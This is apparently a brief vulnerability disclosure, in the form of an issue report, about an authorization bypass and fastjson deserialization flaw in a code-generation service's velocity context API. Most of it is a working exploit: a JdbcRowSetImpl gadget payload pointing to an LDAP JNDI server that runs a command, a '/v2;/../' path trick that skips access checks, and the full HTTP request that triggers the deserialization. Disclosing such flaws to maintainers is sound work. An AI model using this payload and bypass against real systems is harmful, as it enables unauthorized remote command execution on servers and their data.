Potential risk of unauthorized command execution

[Fushuling]

If an attacker can control the value of the database, such as inserting a data item with the context {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true} into the t_code_project_velocity_context table,

When using /v2;/../api/code/project_template/listPageCodeProjectVelocityContext for unauthorized URL access, the listPageCodeProjectVelocityContext interface reads the context data in the t_code_project_velocity_context table and deserializes it using fastjson.

At this point, the attacker can execute commands without authorization

POST /v2;/../api/code/project_template/listPageCodeProjectVelocityContext HTTP/1.1
Host: 127.0.0.1:9100
Content-Type: application/json
Content-Length: 41

{"projectId": 1, "page": 1, "limit": 100}